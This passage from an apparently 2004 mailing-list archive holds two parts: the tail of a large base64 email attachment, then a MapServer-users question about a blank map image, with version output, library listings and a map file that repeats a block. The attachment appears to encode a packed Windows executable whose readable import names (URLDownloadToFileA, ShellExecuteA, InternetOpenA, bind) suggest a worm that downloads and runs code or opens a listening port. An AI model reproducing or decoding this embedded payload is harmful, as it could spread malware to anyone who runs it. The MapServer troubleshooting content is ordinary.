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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAo1JbxhaPsF5OgJW3 sjjHciVrm7EBD0FKjjebmQE3qxqqdAkDB54Yagw/wry3VX9FIENAkkVRsbelA7+WCzR8tL2E cGGcew40UTIjrh1tDz8uD7M/BA5IRVWbfQO1hhcjoBVCX8JCwTLCRqm8PbeGZgOTcGpRbHuc ji0BuEJsNDNPO6UtbH4cNCePA4RhFlJpPqxfCrUoJVJlmLupqiylg7V6iYIxCEKQhXOFvI1t dlsiQmWbexOtHMRFErlYIVQOMYl4oTDBsRqUSpOypWURhiy+uWZLYk1VlMAAry2ZT38Al5I4 w73FAYU5MTMCf0usQXcuYq5aApi5TWxpLcBRSzqtb06CXUHHhAdXaxiScRpspT4cKS0dSKE2 ILABYg4bV8BDMlVppBYCsQujeE69mh+0gVuCZDwwaFqqGQ2XTBWJMTNAuR+cvaknBBslEJjH j7+6LlQ6ZxSnebM4NDrESGyqay4UtlBtTRG3ZKMJHhqDY0Azr4h1B58HQ0ZHsbizOUJAW5os sAIarFspGDsQXh3AtFJzXrVgmQmnqaUnrI3DVxV9eTMVLkt+uVy2cl+6h3ZvvRqkixONl7yx RhC+XDASWmV+Up40vlZcBDvFMwPBO24eHpNaY7GYC51NPBNhJi04bkuBcStZf2iiRTePWKa7 nGcqTJ9KSaVUTh0CYxdwQXxQRFFii5uUZMCKswwHHbqjE1puSbMCdaW+Bb6IiqACB092Wphm BWNbhLuRazuwmkggM2K5ZrMfj2oWk4UdXm26r2RQrhlpmAsXd5ugucIlwohIqQxZmH+NWLJx uyN5hX5SVl8PP7i1taJHFiJgdFQ9D158VVAdpqkQAW0qFBMHl6VgrltQAj+hUlgoIXx7B34m ThdydJM6az5Zn2c9BXWgUqeytYQ0kgMxMr2VN44bd8RlQqCow8EAT6pZt7ZteE+1tU4uh3KZ uFobIjU6EitNBZuPaipYRLLCbQaphyKVo5OACp8SAYeQME46ZFMEQWu+J27BY2RgbKIztEy+ dpI5OYIxw3hbe3MnVBwNlxeHABAGOKBRi5SvsCApvRCPYJCCEa5ZbLIvdJ4BWBuzEZiYmqBq Dhxsd2cgnAguHJC6uXlYNHh6Sjm4uSOWTn4Qwk+TrMZRuRM/AYyrfSyziDVUKV5TOImDclSR e5mpDVRtho0lMCG7dLJdIUeKawYkA7AVLri/AhdHhbC9DLZre0I9bxk+l1m6ekUVsAsPhDWJ jow9ownBjpNYEleET6atHLcQn4sQvVw5uhjCRrB9LouIoxEyW1W4PJOzxTMSozofxmaZCJYN YLEbfcEuml1fZhXHroakAo+QC28g ----------wpkynciljcemtacahkyy-- From devel at itdownunder.com.au Fri Jun 4 16:10:54 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Sat, 5 Jun 2004 09:10:54 +1000 Subject: [Mapserver-users] Blank or no image returned Message-ID: <000b01c44a89$31a81310$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C44ADD.03542310 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All I have Mapserv 4.2 installed and works with Itasca demo. I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF Tyler has given me a .map file which I am adjusting to the paths of my mapserv server. When loading the Initialize file the renamed Itasca demo for shows then select the basic application. The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255. It was 255 255 255 which was white but I changed to this blue for testing. The scale bar in the lower left corner is in Kilometres and adjusts on Zoom In and Out. I have included a lot of information below but I need assistance to move on I think. I saw in a previous post that it may be related to the projection but my knowledge of these topics is very limited. Thank you for any assistance. Andrew Rich Maps Downunder ==== mapserv40 -v ==== MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ==== ldd /var/www/cgi-bin/mapserv40 ==== libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.3 => /usr/local/lib/libpng.so.3 (0x400c1000) libproj.so.0 => /usr/local/lib/libproj.so.0 (0x400ee000) libgdal.so.1 => /usr/local/lib/libgdal.so.1 (0x40121000) libcurl.so.3 => /usr/local/lib/libcurl.so.3 (0x40417000) libdl.so.2 => /lib/libdl.so.2 (0x40444000) libm.so.6 => /lib/i686/libm.so.6 (0x40447000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libpthread.so.0 => /lib/i686/libpthread.so.0 (0x40469000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x4047d000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x4048b000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x40561000) libz.so.1 => /usr/lib/libz.so.1 (0x4058e000) libodbc.so.1 => /usr/lib/libodbc.so.1 (0x4059c000) libungif.so.4 => /usr/lib/libungif.so.4 (0x405f9000) libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40601000) libssl.so.2 => /lib/libssl.so.2 (0x40644000) libcrypto.so.2 => /lib/libcrypto.so.2 (0x40672000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) ==== /etc/ld.so.conf ==== /usr/kerberos/lib /usr/X11R6/lib /usr/lib/qt2/lib /usr/lib/mysql /usr/lib/qt-3.0.5/lib /usr/lib/sane /usr/local/lib /usr/lib/python1.5/site-packages ==== MAP FILE ==== # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET "/usr/src/mapserver-4.2.0/tests/fonts.txt" CONFIG GDAL_DATA "data" IMAGETYPE PNG # OUTPUTFORMAT # NAME "gif" # MIMETYPE "image/gif" # DRIVER "GD/GIF" # EXTENSION "gif" # IMAGEMODE PC256 # TRANSPARENT FALSE # END # # Projection definition, consult the PROJ.4 documentation for parameter discussi # PROJECTION "init=epsg:4326" END # # Start of web interface definition # WEB #HEADER demo_header.html TEMPLATE giofinder_basic.html #FOOTER demo_footer.html IMAGEPATH "/var/www/html/maps/giofinder/tmp" IMAGEURL "/giofinder/tmp/" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE small END STYLE 1 SIZE 250 4 COLOR 0 0 0 UNITS KILOMETERS INTERVALS 5 TRANSPARENT FALSE STATUS TRUE END # # Start of symbol definitions # SYMBOL NAME 'circle' TYPE ellipse FILLED TRUE POINTS 1 1 END END # # Start of layer definitions # ########## RASTER ############## LAYER NAME topo8 TYPE RASTER DATA topo8.tif STATUS OFF PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END END # Map File ==== INITIALIZE FILE ==== Maps Downunder GioFinder Application

Maps Downunder GioFinder Application


This demonstration application will take you through various levels of complexity. Starting with a basic application that allows a user to pan/zoom and change layers we add:

  • dynamically configured scalebars
  • javascript-based panning
  • query results to a frame
  • and finally, a DHTML rubber-band zoom/query capabilty


==== TEMPLATE HTML ==== Maps Downunder GioFinder Application Maps Downunder - GioFinder Application

Maps Downunder - GioFinder Application


scalebar (mi)

Browse map
Query feature
Query multiple features


Select Layers to Display:

Zoom In Pan Zoom Out

Zoom Size

Legend




back to start

[map_web_template] ------=_NextPart_000_000C_01C44ADD.03542310 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

I have Mapserv 4.2 = installed and works with Itasca = demo.

 

I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF

 

Tyler has given me a .map file which I am adjusting to the paths of my mapserv server.

 

